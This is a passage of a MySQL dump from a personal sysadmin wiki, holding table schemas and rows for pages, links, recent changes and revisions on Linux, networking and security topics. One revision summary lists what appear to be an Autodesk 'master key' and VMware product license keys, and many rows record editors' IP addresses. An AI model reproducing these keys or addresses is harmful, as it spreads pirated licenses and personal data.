101221205314',1323,1228),(376,0,'Rack_Management_Software','',3,0,1,0.831172544334,'20101221211847',1326,260),(377,0,'Binary_Search_Tree','',4,0,1,0.509594550935,'20101221212107',1327,335),(378,0,'DNSSEC_DNS_Security_Extenstions','',5,0,0,0.439127720676,'20101222183805',1330,576),(379,0,'Pidgin_IM_Client','',3,0,1,0.219557258077,'20101229153756',1332,530),(380,0,'Avant_Window_Navigator','',3,0,1,0.533550091658,'20101229154242',1333,452),(381,0,'SSH_Tunnels_and_Port_Forwarding','',5,0,1,0.366029603709,'20101230184054',1336,351),(382,0,'Rock_Band_and_Guitar_Hero','',7,0,0,0.326734202202,'20101231173726',1340,1172),(383,0,'Mirror_FTP_Tool','',8,0,0,0.025077079359,'20110104180356',1348,3258),(384,0,'Bbcp_Transfer_Utility','',15,0,0,0.057248568863,'20110112185804',1367,2362),(385,0,'Rdesktop_Tricks','',4,0,1,0.648338671318,'20110110150352',1358,376),(386,0,'Cetus_Source-to-Source_Compiler','',5,0,1,0.264718917043,'20110111141408',1360,1191),(387,0,'Kickstart_Scripting','',5,0,0,0.626563921358,'20110111182005',1364,228),(388,0,'DNSSEC_Tools','',3,0,1,0.993020434668,'20110112183730',1366,255),(389,0,'Citrix_XenApp','',4,0,1,0.922159170294,'20110113181534',1370,244),(390,0,'MODIS_Big_Data_System','',5,0,0,0.923726172694,'20110113215835',1372,1023),(391,0,'Mod_security_Configuration','',7,0,0,0.638035763938,'20110122200534',1382,1134),(392,0,'Webserver_Security_Tools','',2,0,1,0.68490830439,'20110122160035',1379,198);
/*!40000 ALTER TABLE `mw_page` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_page_props`
--

DROP TABLE IF EXISTS `mw_page_props`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_page_props` (
  `pp_page` int(11) NOT NULL default '0',
  `pp_propname` varbinary(60) NOT NULL default '',
  `pp_value` blob NOT NULL,
  PRIMARY KEY  (`pp_page`,`pp_propname`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_page_props`
--

LOCK TABLES `mw_page_props` WRITE;
/*!40000 ALTER TABLE `mw_page_props` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_page_props` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_page_restrictions`
--

DROP TABLE IF EXISTS `mw_page_restrictions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_page_restrictions` (
  `pr_page` int(11) NOT NULL default '0',
  `pr_type` varbinary(60) NOT NULL default '',
  `pr_level` varbinary(60) NOT NULL default '',
  `pr_cascade` tinyint(4) NOT NULL default '0',
  `pr_user` int(11) default NULL,
  `pr_expiry` varbinary(14) default NULL,
  `pr_id` int(10) unsigned NOT NULL auto_increment,
  PRIMARY KEY  (`pr_page`,`pr_type`),
  UNIQUE KEY `pr_id` (`pr_id`),
  KEY `pr_page` (`pr_page`),
  KEY `pr_typelevel` (`pr_type`,`pr_level`),
  KEY `pr_level` (`pr_level`),
  KEY `pr_cascade` (`pr_cascade`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_page_restrictions`
--

LOCK TABLES `mw_page_restrictions` WRITE;
/*!40000 ALTER TABLE `mw_page_restrictions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_page_restrictions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_pagelinks`
--

DROP TABLE IF EXISTS `mw_pagelinks`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_pagelinks` (
  `pl_from` int(10) unsigned NOT NULL default '0',
  `pl_namespace` int(11) NOT NULL default '0',
  `pl_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  UNIQUE KEY `pl_from` (`pl_from`,`pl_namespace`,`pl_title`),
  UNIQUE KEY `pl_namespace` (`pl_namespace`,`pl_title`,`pl_from`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_pagelinks`
--

LOCK TABLES `mw_pagelinks` WRITE;
/*!40000 ALTER TABLE `mw_pagelinks` DISABLE KEYS */;
INSERT INTO `mw_pagelinks` VALUES (1,0,'Technical_Article_Index'),(35,0,'Hardware_Info_Polling'),(35,0,'SMART_Drive_Diagnostics'),(35,0,'Windows_Password_Cracking'),(44,0,'Correcting_Perl_Module_Dependencies_Fail'),(44,0,'OpenVPN_Server'),(53,0,'ArticleName'),(55,0,'Bastille_Server_Hardening'),(55,0,'Firewalls'),(55,0,'Login_Monitoring'),(55,0,'Port_Knocking'),(55,0,'Splunk_Log_Analyzer'),(61,0,'Acronis_Drive_Imaging'),(62,0,'Acronis_Drive_Imaging'),(62,0,'Repairing_Corrupted_File_Systems'),(63,0,'SMART_Drive_Monitoring'),(65,0,'SAMPLE_IP'),(70,0,'SMART_Drive_Diagnostics'),(71,0,'Mytop_-_SQL_Monitor'),(71,0,'Splunk_Log_Analyzer'),(71,0,'System_Reporting_-_sar_&_kSar'),(71,0,'Why_is_my_server_slow?'),(72,0,'Sun_Cobalt_XTR_Server'),(77,0,'Checknig/Changing_Quotas'),(78,0,'Linux_File_System_Quotas'),(86,0,'Correcting_Perl_Module_Dependencies_Fail'),(91,0,'ZFS_File_System'),(97,0,'FreeBSD_Ports_&_cPanel_Installs'),(103,0,'RPM_Install_Timeline_Report'),(104,0,'Suse_10.3_Network_Install'),(108,0,'SugarCRM_Install_and_Admin_Notes'),(124,0,'Advanced_Policy_Firewall'),(133,0,'Running_Chkdsk_on_a_Container_File_system'),(135,0,'Dell_OpenManage_Server_Administrator'),(136,0,'Solaris_and_Linux_Dtrace'),(136,0,'ZFS_File_System'),(150,0,'SMART_Drive_Diagnostics'),(153,0,'Intel_C_Compiler_for_Linux'),(154,0,'Crafty_Chess_Compiler_Benchmarks'),(156,0,'IPMI_Configuration_and_Monitoring'),(179,0,'Acronis_Drive_Imaging'),(179,0,'Clonezilla'),(181,0,'SMTP_Address_Verification'),(184,0,'PXE_Boot_Server'),(195,0,'Debian_Broadcom_NIC_Drivers'),(195,0,'OpenSuse_10.3'),(195,0,'PXE_Explanation'),(198,0,'OpenSolaris_Indiana_2008.11_Acer_Aspire_One_Install'),(228,0,'Remove_and_Create_Ext3_Journal'),(248,0,'Cobbler_PXE_Install_Manager'),(248,0,'Install_Network_Servers'),(248,0,'Linux_Benchmarking_Tools'),(248,0,'OCSNG_Inventory_Management'),(248,0,'PXE_Explanation'),(248,0,'Planet'),(248,0,'Smart_Testing_Script_and_Database'),(249,0,'Cobbler_PXE_Install_Manager'),(249,0,'PXE_Explanation'),(250,0,'Cobbler_PXE_Install_Manager'),(250,0,'Install_Network_Servers'),(252,0,'SMART_Database'),(252,0,'SMART_Drive_Diagnostics'),(301,0,'Apache_JMeter_Load_Testing'),(304,0,'CUDA_Applications'),(309,0,'Crafty_Chess_Compiler_Benchmarks'),(309,0,'High_Server_Loads_and_You'),(309,0,'IPMI_Configuration_and_Monitoring'),(309,0,'IPMI_Console_Access'),(309,0,'Linux_Hardware_Repair_-_A+_Class'),(309,0,'Lustre_Distributed_File_System'),(309,0,'Nvidia_CUDA'),(309,0,'OCSNG_Inventory_Management'),(309,0,'OpenSolaris'),(309,0,'RPM_Install_Timeline_Report'),(309,0,'SMART_Drive_Diagnostics'),(309,0,'SMART_Rewriting_Bad_Sectors'),(341,0,'Core_Wars'),(362,0,'Cups-pdf_Print_Driver'),(392,0,'Webserver_Benchmark_Tools');
/*!40000 ALTER TABLE `mw_pagelinks` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_protected_titles`
--

DROP TABLE IF EXISTS `mw_protected_titles`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_protected_titles` (
  `pt_namespace` int(11) NOT NULL default '0',
  `pt_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `pt_user` int(10) unsigned NOT NULL default '0',
  `pt_reason` tinyblob,
  `pt_timestamp` varbinary(14) NOT NULL default '',
  `pt_expiry` varbinary(14) NOT NULL default '',
  `pt_create_perm` varbinary(60) NOT NULL default '',
  PRIMARY KEY  (`pt_namespace`,`pt_title`),
  KEY `pt_timestamp` (`pt_timestamp`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_protected_titles`
--

LOCK TABLES `mw_protected_titles` WRITE;
/*!40000 ALTER TABLE `mw_protected_titles` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_protected_titles` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_querycache`
--

DROP TABLE IF EXISTS `mw_querycache`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_querycache` (
  `qc_type` varbinary(32) NOT NULL default '',
  `qc_value` int(10) unsigned NOT NULL default '0',
  `qc_namespace` int(11) NOT NULL default '0',
  `qc_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  KEY `qc_type` (`qc_type`,`qc_value`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_querycache`
--

LOCK TABLES `mw_querycache` WRITE;
/*!40000 ALTER TABLE `mw_querycache` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_querycache` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_querycache_info`
--

DROP TABLE IF EXISTS `mw_querycache_info`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_querycache_info` (
  `qci_type` varbinary(32) NOT NULL default '',
  `qci_timestamp` varbinary(14) NOT NULL default '19700101000000',
  UNIQUE KEY `qci_type` (`qci_type`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_querycache_info`
--

LOCK TABLES `mw_querycache_info` WRITE;
/*!40000 ALTER TABLE `mw_querycache_info` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_querycache_info` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_querycachetwo`
--

DROP TABLE IF EXISTS `mw_querycachetwo`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_querycachetwo` (
  `qcc_type` varbinary(32) NOT NULL default '',
  `qcc_value` int(10) unsigned NOT NULL default '0',
  `qcc_namespace` int(11) NOT NULL default '0',
  `qcc_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `qcc_namespacetwo` int(11) NOT NULL default '0',
  `qcc_titletwo` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  KEY `qcc_type` (`qcc_type`,`qcc_value`),
  KEY `qcc_title` (`qcc_type`,`qcc_namespace`,`qcc_title`),
  KEY `qcc_titletwo` (`qcc_type`,`qcc_namespacetwo`,`qcc_titletwo`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_querycachetwo`
--

LOCK TABLES `mw_querycachetwo` WRITE;
/*!40000 ALTER TABLE `mw_querycachetwo` DISABLE KEYS */;
/*!40000 ALTER TABLE `mw_querycachetwo` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_recentchanges`
--

DROP TABLE IF EXISTS `mw_recentchanges`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_recentchanges` (
  `rc_id` int(11) NOT NULL auto_increment,
  `rc_timestamp` varbinary(14) NOT NULL default '',
  `rc_cur_time` varbinary(14) NOT NULL default '',
  `rc_user` int(10) unsigned NOT NULL default '0',
  `rc_user_text` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `rc_namespace` int(11) NOT NULL default '0',
  `rc_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `rc_comment` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `rc_minor` tinyint(3) unsigned NOT NULL default '0',
  `rc_bot` tinyint(3) unsigned NOT NULL default '0',
  `rc_new` tinyint(3) unsigned NOT NULL default '0',
  `rc_cur_id` int(10) unsigned NOT NULL default '0',
  `rc_this_oldid` int(10) unsigned NOT NULL default '0',
  `rc_last_oldid` int(10) unsigned NOT NULL default '0',
  `rc_type` tinyint(3) unsigned NOT NULL default '0',
  `rc_moved_to_ns` tinyint(3) unsigned NOT NULL default '0',
  `rc_moved_to_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `rc_patrolled` tinyint(3) unsigned NOT NULL default '0',
  `rc_ip` varbinary(40) NOT NULL default '',
  `rc_old_len` int(11) default NULL,
  `rc_new_len` int(11) default NULL,
  `rc_deleted` tinyint(3) unsigned NOT NULL default '0',
  `rc_logid` int(10) unsigned NOT NULL default '0',
  `rc_log_type` varbinary(255) default NULL,
  `rc_log_action` varbinary(255) default NULL,
  `rc_params` blob NOT NULL,
  PRIMARY KEY  (`rc_id`),
  KEY `rc_timestamp` (`rc_timestamp`),
  KEY `rc_namespace_title` (`rc_namespace`,`rc_title`),
  KEY `rc_cur_id` (`rc_cur_id`),
  KEY `new_name_timestamp` (`rc_new`,`rc_namespace`,`rc_timestamp`),
  KEY `rc_ip` (`rc_ip`),
  KEY `rc_ns_usertext` (`rc_namespace`,`rc_user_text`),
  KEY `rc_user_text` (`rc_user_text`,`rc_timestamp`)
) ENGINE=InnoDB AUTO_INCREMENT=1386 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_recentchanges`
--

LOCK TABLES `mw_recentchanges` WRITE;
/*!40000 ALTER TABLE `mw_recentchanges` DISABLE KEYS */;
INSERT INTO `mw_recentchanges` VALUES (1351,'20110104180356','20110104180356',1,'WikiAdmin',0,'Mirror_FTP_Tool','/* Documentation */ ',0,0,0,383,1348,1345,0,0,'',1,'128.219.49.9',3120,3258,0,0,NULL,'',''),(1352,'20110106212200','20110106212200',1,'WikiAdmin',0,'Bbcp_Transfer_Utility','New page: bbcp is a parallel data transfer utility from Stanford Linear Accelerator Center (SLAC) which supports some interesting options. It can be used to transfer large files, and it can break th...',0,0,1,384,1349,0,1,0,'',1,'128.219.49.9',0,1331,0,0,NULL,'',''),(1353,'20110107142525','20110107142525',1,'WikiAdmin',0,'Bbcp_Transfer_Utility','/* Recursive Directories */ ',0,0,0,384,1350,1349,0,0,'',1,'128.219.49.9',1331,1095,0,0,NULL,'',''),(1354,'20110108190319','20110108190319',1,'WikiAdmin',0,'Guitar_Playing_Stuff','/* Midi */ ',0,0,0,370,1351,1341,0,0,'',1,'76.114.65.74',2032,2522,0,0,NULL,'',''),(1355,'20110108190559','20110108190559',1,'WikiAdmin',0,'Guitar_Playing_Stuff','/* Books */ ',0,0,0,370,1352,1351,0,0,'',1,'76.114.65.74',2522,2614,0,0,NULL,'',''),(1356,'20110108190639','20110108190639',1,'WikiAdmin',0,'Guitar_Playing_Stuff','/* Linux Music Software */ ',0,0,0,370,1353,1352,0,0,'',1,'76.114.65.74',2614,2675,0,0,NULL,'',''),(1357,'20110108190830','20110108190830',1,'WikiAdmin',0,'Guitar_Playing_Stuff','/* Linux Music Software */ ',0,0,0,370,1354,1353,0,0,'',1,'76.114.65.74',2675,2725,0,0,NULL,'',''),(1358,'20110109163607','20110109163607',1,'WikiAdmin',0,'Guitar_Playing_Stuff','/* Lesson Sites */ ',0,0,0,370,1355,1354,0,0,'',1,'76.114.65.74',2725,2766,0,0,NULL,'',''),(1359,'20110109163707','20110109163707',1,'WikiAdmin',0,'Guitar_Playing_Stuff','/* Scales */ ',0,0,0,370,1356,1355,0,0,'',1,'76.114.65.74',2766,2848,0,0,NULL,'',''),(1360,'20110110144151','20110110144151',1,'WikiAdmin',0,'Guitar_Playing_Stuff','/* Scales & Chords */ ',0,0,0,370,1357,1356,0,0,'',1,'76.114.65.74',2848,2930,0,0,NULL,'',''),(1361,'20110110150352','20110110150352',1,'WikiAdmin',0,'Rdesktop_Tricks','New page:  == Tunnel One App ==  Run a single app tunneled through rdesktop rather than an entire desktop environment with seamlessrdp:  http://www.cendio.com/seamlessrdp/  http://www.linux.com/arch...',0,0,1,385,1358,0,1,0,'',1,'76.114.65.74',0,376,0,0,NULL,'',''),(1362,'20110111131455','20110111131455',1,'WikiAdmin',0,'Bbcp_Transfer_Utility','',0,0,0,384,1359,1350,0,0,'',1,'128.219.49.9',1095,2179,0,0,NULL,'',''),(1363,'20110111141408','20110111141408',1,'WikiAdmin',0,'Cetus_Source-to-Source_Compiler','New page: Cetus is a a Source-to-Source Compiler Infrastructure for C Programs. This NSF sponsored project is being developed by Purdue University.  The official home page is [http://cetus.ecn.purdu...',0,0,1,386,1360,0,1,0,'',1,'128.219.49.9',0,1191,0,0,NULL,'',''),(1364,'20110111155324','20110111155324',1,'WikiAdmin',0,'SSH_Over_X','/* General SSH / X Tutorial */ ',0,0,0,19,1361,1272,0,0,'',1,'128.219.49.9',5022,5336,0,0,NULL,'',''),(1365,'20110111161515','20110111161515',5,'Mieren',0,'Home_Design_Ideas','/* Kitchen */ ',0,0,0,303,1362,1299,0,0,'',1,'76.114.65.74',1158,1656,0,0,NULL,'',''),(1366,'20110111181949','20110111181949',1,'WikiAdmin',0,'Kickstart_Scripting','New page:  Send the output of %pre and $post scripts to the graphical display:  http://www.spinics.net/linux/fedora/kickstart/msg07687.html    %post --nochroot --interpreter /bin/sh rxvt -fn fixed -...',0,0,1,387,1363,0,1,0,'',1,'128.219.49.9',0,229,0,0,NULL,'',''),(1367,'20110111182005','20110111182005',1,'WikiAdmin',0,'Kickstart_Scripting','',0,0,0,387,1364,1363,0,0,'',1,'128.219.49.9',229,228,0,0,NULL,'',''),(1368,'20110112175148','20110112175148',1,'WikiAdmin',0,'Screen_Tricks','',0,0,0,256,1365,1343,0,0,'',1,'128.219.49.9',730,835,0,0,NULL,'',''),(1369,'20110112183730','20110112183730',1,'WikiAdmin',0,'DNSSEC_Tools','New page:  \'\'\'DNS sec visualizer\'\'\'   http://dnsviz.net/  Great tool developed by Sandia National Lab which graphically shows the DNS sec chain from the root server up.   \'\'\'Firefox Plugins\'\'\'  DNSS...',0,0,1,388,1366,0,1,0,'',1,'128.219.49.9',0,255,0,0,NULL,'',''),(1370,'20110112185804','20110112185804',1,'WikiAdmin',0,'Bbcp_Transfer_Utility','',0,0,0,384,1367,1359,0,0,'',1,'128.219.49.9',2179,2362,0,0,NULL,'',''),(1371,'20110112190112','20110112190112',1,'WikiAdmin',0,'Reading_List','/* Non-Fiction */ ',0,0,0,114,1368,1065,0,0,'',1,'128.219.49.9',2582,2829,0,0,NULL,'',''),(1372,'20110113140803','20110113140803',1,'WikiAdmin',0,'Network_Booting_-_gPXE','/* Command Line */ ',0,0,0,356,1369,1328,0,0,'',1,'128.219.49.9',1155,1319,0,0,NULL,'',''),(1373,'20110113181534','20110113181534',1,'WikiAdmin',0,'Citrix_XenApp','New page:  Download the Cirtix client for the [http://www.citrix.com/English/ss/downloads/index.asp Citrix site].  (Look under: XenApp --> Presentation Server 4.0 for Unix --> Linux)  Download and i...',0,0,1,389,1370,0,1,0,'',1,'128.219.49.8',0,244,0,0,NULL,'',''),(1374,'20110113214730','20110113214730',1,'WikiAdmin',0,'MODIS_Big_Data_System','New page:  \'\'\'DL580 G7\'\'\'  DL580 G7 Quick specs [http://h18004.www1.hp.com/products/quickspecs/DS_00197/DS_00197.pdf here]  Power specs [http://h18000.www1.hp.com/products/quickspecs/13669_na/13669_...',0,0,1,390,1371,0,1,0,'',1,'128.219.49.9',0,700,0,0,NULL,'',''),(1375,'20110113215835','20110113215835',1,'WikiAdmin',0,'MODIS_Big_Data_System','',0,0,0,390,1372,1371,0,0,'',1,'128.219.49.9',700,1023,0,0,NULL,'',''),(1376,'20110115155741','20110115155741',1,'WikiAdmin',0,'Cups-pdf_Print_Driver','',0,0,0,257,1373,815,0,0,'',1,'76.114.65.74',2669,2713,0,0,NULL,'',''),(1377,'20110115164823','20110115164823',1,'WikiAdmin',0,'Cups-pdf_Print_Driver','',0,0,0,257,1374,1373,0,0,'',1,'76.114.65.74',2713,3213,0,0,NULL,'',''),(1378,'20110117155334','20110117155334',1,'WikiAdmin',0,'Contact_Management_Solutions','',0,0,0,373,1375,1319,0,0,'',1,'76.114.65.74',202,581,0,0,NULL,'',''),(1379,'20110117165637','20110117165637',1,'WikiAdmin',0,'Virtualbox_Tips','',0,0,0,243,1376,1266,0,0,'',1,'76.114.65.74',2363,2759,0,0,NULL,'',''),(1380,'20110117194244','20110117194244',1,'WikiAdmin',0,'Virtualbox_Tips','',0,0,0,243,1377,1376,0,0,'',1,'76.114.65.74',2759,3494,0,0,NULL,'',''),(1381,'20110122030843','20110122030843',1,'WikiAdmin',0,'Mod_security_Configuration','New page: [http://www.modsecurity.org/ Mod_security] for Apache is a great tool. There are a few things that might creep up with using it however.   \'\'\'Cpanel Per Domain Control\'\'\'  http://linuxserv...',0,0,1,391,1378,0,1,0,'',1,'76.114.65.74',0,629,0,0,NULL,'',''),(1382,'20110122160035','20110122160035',1,'WikiAdmin',0,'Webserver_Security_Tools','Created page with \"(Also see [[Webserver Benchmark Tools]])  Nessus  A defacto standard vulnerability scanning tool.  [http://cirt.net/nikto2 Nikto]  A perl script which analyzes a webserver for co...\"',0,0,1,392,1379,0,1,0,'',1,'76.114.65.74',0,198,0,0,NULL,'',''),(1383,'20110122195529','20110122195529',1,'WikiAdmin',0,'Mod_security_Configuration','',0,0,0,391,1380,1378,0,0,'',1,'76.114.65.74',629,934,0,0,NULL,'',''),(1384,'20110122195928','20110122195928',1,'WikiAdmin',0,'Mod_security_Configuration','',0,0,0,391,1381,1380,0,0,'',1,'76.114.65.74',934,1057,0,0,NULL,'',''),(1385,'20110122200534','20110122200534',1,'WikiAdmin',0,'Mod_security_Configuration','',0,0,0,391,1382,1381,0,0,'',1,'76.114.65.74',1057,1134,0,0,NULL,'','');
/*!40000 ALTER TABLE `mw_recentchanges` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_redirect`
--

DROP TABLE IF EXISTS `mw_redirect`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_redirect` (
  `rd_from` int(10) unsigned NOT NULL default '0',
  `rd_namespace` int(11) NOT NULL default '0',
  `rd_title` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `rd_interwiki` varchar(32) default NULL,
  `rd_fragment` varchar(255) character set latin1 collate latin1_bin default NULL,
  PRIMARY KEY  (`rd_from`),
  KEY `rd_ns_title` (`rd_namespace`,`rd_title`,`rd_from`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_redirect`
--

LOCK TABLES `mw_redirect` WRITE;
/*!40000 ALTER TABLE `mw_redirect` DISABLE KEYS */;
INSERT INTO `mw_redirect` VALUES (103,0,'RPM_Install_Timeline_Report',NULL,NULL),(198,0,'OpenSolaris_Indiana_2008.11_Acer_Aspire_One_Install',NULL,NULL);
/*!40000 ALTER TABLE `mw_redirect` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mw_revision`
--

DROP TABLE IF EXISTS `mw_revision`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mw_revision` (
  `rev_id` int(10) unsigned NOT NULL auto_increment,
  `rev_page` int(10) unsigned NOT NULL default '0',
  `rev_text_id` int(10) unsigned NOT NULL default '0',
  `rev_comment` tinyblob NOT NULL,
  `rev_user` int(10) unsigned NOT NULL default '0',
  `rev_user_text` varchar(255) character set latin1 collate latin1_bin NOT NULL default '',
  `rev_timestamp` varbinary(14) NOT NULL default '',
  `rev_minor_edit` tinyint(3) unsigned NOT NULL default '0',
  `rev_deleted` tinyint(3) unsigned NOT NULL default '0',
  `rev_len` int(10) unsigned default NULL,
  `rev_parent_id` int(10) unsigned default NULL,
  PRIMARY KEY  (`rev_page`,`rev_id`),
  UNIQUE KEY `rev_id` (`rev_id`),
  KEY `rev_timestamp` (`rev_timestamp`),
  KEY `page_timestamp` (`rev_page`,`rev_timestamp`),
  KEY `user_timestamp` (`rev_user`,`rev_timestamp`),
  KEY `usertext_timestamp` (`rev_user_text`,`rev_timestamp`)
) ENGINE=InnoDB AUTO_INCREMENT=1383 DEFAULT CHARSET=latin1 MAX_ROWS=10000000 AVG_ROW_LENGTH=1024;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mw_revision`
--

LOCK TABLES `mw_revision` WRITE;
/*!40000 ALTER TABLE `mw_revision` DISABLE KEYS */;
INSERT INTO `mw_revision` VALUES (1,1,1,'',0,'MediaWiki default','20070814030833',0,0,444,0),(11,1,11,'',0,'70.126.193.187','20070819042101',0,0,1021,1),(28,1,28,'',1,'WikiAdmin','20070824142416',0,0,1081,11),(1028,1,1026,'',1,'WikiAdmin','20100629232030',0,0,1436,28),(1030,1,1028,'',1,'WikiAdmin','20100629232445',0,0,1534,1028),(2,2,2,'',1,'WikiAdmin','20070816234856',0,0,0,0),(3,3,3,'New page: == Installing Solaris on x86 platform ==    == Adding the KDE Environment ==   After Solaris is installed with the default Java desktop install KDE as follows:  Use the install CD, select ...',1,'WikiAdmin','20070816235627',0,0,1272,0),(5,3,5,'/* Installing Solaris on x86 platform */',1,'WikiAdmin','20070817001341',0,0,2838,3),(7,3,7,'/* Installing Solaris on x86 platform */',1,'WikiAdmin','20070817005541',0,0,2878,5),(13,3,13,'/* Adding the KDE Environment */',0,'66.118.128.10','20070820130647',0,0,3136,7),(4,4,4,'New page:  == MAGICK TRICKS: ==   Cmd prompt w/ admin rights: runas /user:localmachinename\\administrator cmd    Manually register a .dll regsvr32 \"<path>\\NameOfFile.extension\"',1,'WikiAdmin','20070817000013',0,0,165,0),(6,5,6,'',1,'WikiAdmin','20070817005347',0,0,0,0),(8,6,8,'New page: == BACKGROUND ==  (Originally written for Verizon Field Services technicians.)  Macs often have memory related issues which can be somewhat challenging to diagnose. The Apple Service Diagn...',1,'WikiAdmin','20070817010954',0,0,5138,0),(9,7,9,'New page: This procedure provides instructions for on how to record a Macro (with or without using variables).  A Macro is a term used to describe the recording of key strokes, clicks or data in ord...',1,'WikiAdmin','20070817011253',0,0,2426,0),(10,8,10,'New page:  == Sago Linux Notes ==    == TTY Autologins ==  FreeBSD:  edit /etc/ttys  Change the desired line to and \'autologin\' like:  /dev/ttys7          autologin     CentOS:  The supportd service...',1,'WikiAdmin','20070817214342',0,0,262,0),(403,8,402,'/* TTY Autologins */',1,'WikiAdmin','20080827201731',0,0,314,10),(12,9,12,'New page: == Software Keys ==  \'\'\'Autocad:\'\'\' Autocad 2000 / 2003 and other Autodesk products master key:   400-12345678T4ED6P  339-25020310  \'\'\'VM-Ware:\'\'\'  Windows:   99N60-Y6CDP-26LEL-40HLJ  99H4...',1,'WikiAdmin','20070819135938',0,0,341,0),(14,10,14,'New page:    == CCNA 1 ==  CCNA 1   \'\'\'Rewiring your POD\'\'\'  Erase startup-config		clear config in NVRAM Reload  Config t Hostname RouterB  Wr				to save  \'\'\'Password Recovery\'\'\'  Config register 0x...',1,'WikiAdmin','20070821011119',0,0,6064,0),(16,10,16,'/* CCNA 1 */',1,'WikiAdmin','20070821011357',0,0,6099,14),(17,10,17,'/* CCNA 1 */',1,'WikiAdmin','20070821011535',0,0,6101,16),(18,10,18,'',1,'WikiAdmin','20070821013121',0,0,6226,17),(19,10,19,'',1,'WikiAdmin','20070821013843',0,0,6367,18),(64,10,64,'',0,'66.118.149.128','20071121233405',0,0,6454,19),(71,10,71,'/* CCNA 3 */',0,'66.118.128.10','20071123145825',0,0,9728,64),(72,10,72,'/* CCNA 4 */',0,'66.118.128.10','20071123145920',0,0,9794,71),(144,10,144,'/* CCNA 4 */',1,'WikiAdmin','20080313014124',0,0,9893,72),(146,10,146,'/* CCNA 1 */',1,'WikiAdmin','20080315215656',0,0,9893,144),(180,10,180,'/* CCNA 4 */',0,'72.184.142.174','20080416041303',0,0,11289,146),(192,10,192,'/* CCNA 4 */',1,'WikiAdmin','20080424005539',0,0,11767,180),(15,11,15,'',1,'WikiAdmin','20070821011201',0,0,0,0),(20,12,20,'New page: __FORCETOC__  == Testing mcrypt ==  The script below came from http://www.herongyang.com/crypto/des_php_implementation_mcrypt.html and can be used to test the DES operation modes and strea...',1,'WikiAdmin','20070821124916',0,0,3527,0),(21,13,21,'New page: == Perl script for manual Cpanel drive to drive migration ==   This is the perl script that Frank wrote for performing a manual migration of cpanel accounts from an old drive to a new driv...',1,'WikiAdmin','20070821150147',0,0,4755,0),(182,13,182,'/* Perl script for manual Cpanel drive to drive migration */',0,'66.118.128.10','20080418140421',0,0,4879,21),(22,14,22,'New page: __TOC__  == Installing and Configuring sar ==   sar and iostat and part of the sysstat package. I believe it is installed by default in CentOS 5.  Install sar: yum install sysstat  Scripts...',1,'WikiAdmin','20070821185926',0,0,1748,0),(27,14,27,'/* kSar 